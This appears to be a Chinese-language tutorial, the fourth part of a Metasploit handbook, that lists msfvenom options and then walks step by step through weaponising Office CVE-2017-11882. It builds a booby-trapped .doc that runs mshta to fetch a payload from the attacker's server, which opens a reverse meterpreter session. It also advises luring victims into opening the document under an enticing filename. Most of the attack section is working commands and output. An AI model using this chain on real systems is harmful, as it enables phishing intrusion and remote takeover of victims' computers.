前言
众所周知Metasploit工具是一款强大的渗透测试利器，在渗透测试中堪称一条龙服务，那么很多人真的能够认识到它其中的强大之处吗，了解其中的每部分功能吗，还是说在个别人眼中只是一个由虚拟机搭建的一个小拓扑使用其直接攻打windows主机拿到主机权限就结束了吗，事实上Metasploit这款工具能做的事情很多，包括：情报(信息)搜集、目标识别、服务枚举、漏洞探测、漏洞利用、权限提升、权限维持、社会工程、内网渗透等一系列操作。
由于网上大部分相关文章对于Metasploit框架没有一个整体而完整的讲解，很多都是讲述的某一个功能点或者漏洞的使用，比如：如何使用Metasploit进行内网代理渗透、如何使用Metasploit打开对方电脑摄像头、如何使用Metasploit监视对方主机、如何使用Metasploit利用永恒之蓝漏洞攻击Windows主机、Metasploit基础、Metasploit指令用法等等，这一现象也就造成了知识点的零碎、意乱，一定程度上导致初学者的盲目、误导等。
正因如此自己才打算总结整理一份关于Metasploit框架的使用手册：Metasploit Framework Handbook 主要讲述的是Metasploit框架的一个整体使用手册（包括工具模块的解读+实战操作），该手册主要分为四部分，如下：
- 第一部分：Metasploit Framework Handbook (一)
Metasploit解读+实战操作（发展、框架、安装、配置、指令解读、情报搜集、渗透测试）
- 第二部分：Metasploit Framework Handbook (二)
Meterpreter解读+实战操作（指令解读、内网渗透-后渗透-1）
- 第三部分：Metasploit Framework Handbook (三)
Meterpreter解读+实战操作（内网渗透-后渗透-2）
- 第四部分：Metasploit Framework Handbook (四)
MSFvenom解读+实战操作（指令解读、后门木门）
继Metasploit Framework Handbook(一)、(二)、(三)，本文Metasploit Framework Handbook (四)主要讲述的是手册的第四部分：MSFvenom解读+实战操作（指令解读、后门木门）
MSFvenom
Msfvenom是Metasploit的一个独立有效载荷（payload）生成器，同时也是msfpayload和msfencode的替代品，生成ShellCode（能够获取目标 Shell 的代码）的工具。
基础操作
→ Qftm :~/Desktop# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> 列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> 指定payload + 参数任务：设置相关payload选项 (--list payloads to list, --list-options for arguments)
--list-options 列出指定payload的选项信息 standard, advanced and evasion options
-f, --format <format> 指定后门程序输出格式 (use --list formats to list)
-e, --encoder <encoder> 指定后门程序编码器 (use --list encoders to list)
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> 指定有效载荷和编码器的架构 (use --list archs to list)
--platform <platform> 指定载荷payload使用平台 (use --list platforms to list)
-o, --out <path> 输出并保存后门程序文件
-b, --bad-chars <list> 去除特殊字符（坏字符）: 'x00xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> 生成payload的最大长度，就是文件大小。
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> 对有效载荷的编码次数
-c, --add-code <path> 指定包含一个额外的win32 shellcode文件
-x, --template <path> 捆绑：指定自定义可执行文件用作模板（模板==正常可执行程序）（将木马捆绑到这个可执行程序上）
-k, --keep 保留--template行为并将有效载荷作为新线程注入
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help 帮助手册

Office-CVE-2017-11882
2017年11月14日，微软发布了11月份的安全补丁更新，其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞（CVE-2017-11882）。该漏洞为Office内存破坏漏洞，影响当时流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
- 环境
OS：Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
Office：Microsoft Office 2010 Service Pack 2
- 命令执行
生成带有命令执行的doc文档：calc.doc
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882# python Command_CVE-2017-11882.py -h
usage: Command_CVE-2017-11882.py [-h] -c COMMAND -o OUTPUT
PoC for CVE-2017-11882
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
Command to execute.
-o OUTPUT, --output OUTPUT
Output exploit rtf
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882# python Command_CVE-2017-11882.py -c "cmd /c calc" -o calc.doc
[*] Done ! output file >> calc.doc <<
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882# ls
calc.doc Command_CVE-2017-11882.py example PS_shell.rb README.md
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882#
将calc.doc文档以某种方式下载到受害者主机中，并诱使受害者打开该文档
注意：这里要注意的是生成文档的格式问题，如果你生成的是docx格式文档，那么则会报错显示无法打开文件xxx.docx，因为内容有误。。。
- 后门反弹
既然可以执行任意命令，那么也可以执行命令联动MSF反弹回来一个meterpreter的会话
先将项目中的PS_shell.rb拷贝到MSF项目框架模块中
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882# mkdir /usr/share/metasploit-framework/modules/exploits/self
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882# cp PS_shell.rb /usr/share/metasploit-framework/modules/exploits/self/Office_CVE_2017_11882.rb
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882#
启动MSF，重新加载模块
→ Qftm :~/Desktop# msfconsole

利用模块exploits/self/Office_CVE_2017_11882.rb实现MSF联动：
第一步：提供Web服务，供后门程序的下载，并默认启动监听
msf5 > use exploit/self/Office_CVE_2017_11882
msf5 exploit(self/Office_CVE_2017_11882) > show options
Module options (exploit/self/Office_CVE_2017_11882):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.33.6.150 yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path

msf5 exploit(self/Office_CVE_2017_11882) > set SRVHOST 192.33.6.150
SRVHOST => 192.33.6.150
msf5 exploit(self/Office_CVE_2017_11882) > set URIPATH love
URIPATH => love
msf5 exploit(self/Office_CVE_2017_11882) >

第二步：制作具有后门联动性的Office文档
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882# python Command_CVE-2017-11882.py -c "mshta.exe http://192.33.6.150:8080/love" -o 女孩子都有那些不为人知的密码.doc
[*] Done ! output file >> 女孩子都有那些不为人知的密码.doc <<
→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882# ls

→ Qftm :/mnt/hgfs/QSec/Pentest/网络钓鱼/Office/CVE-2017-11882#
第三步：MSF监听后门程序，默认在第一步的时候已监听，查看job任务
msf5 exploit(self/Office_CVE_2017_11882) > jobs

Id Name Payload Payload opts
-- ---- ------- ------------
5 Exploit: self/Office_CVE_2017_11882 windows/meterpreter/reverse_tcp tcp://192.33.6.150:8443

第四步：将女孩子都有那些不为人知的密码.doc文档以某种方式下载到受害者主机中，并诱使受害者打开该文档，主机上线
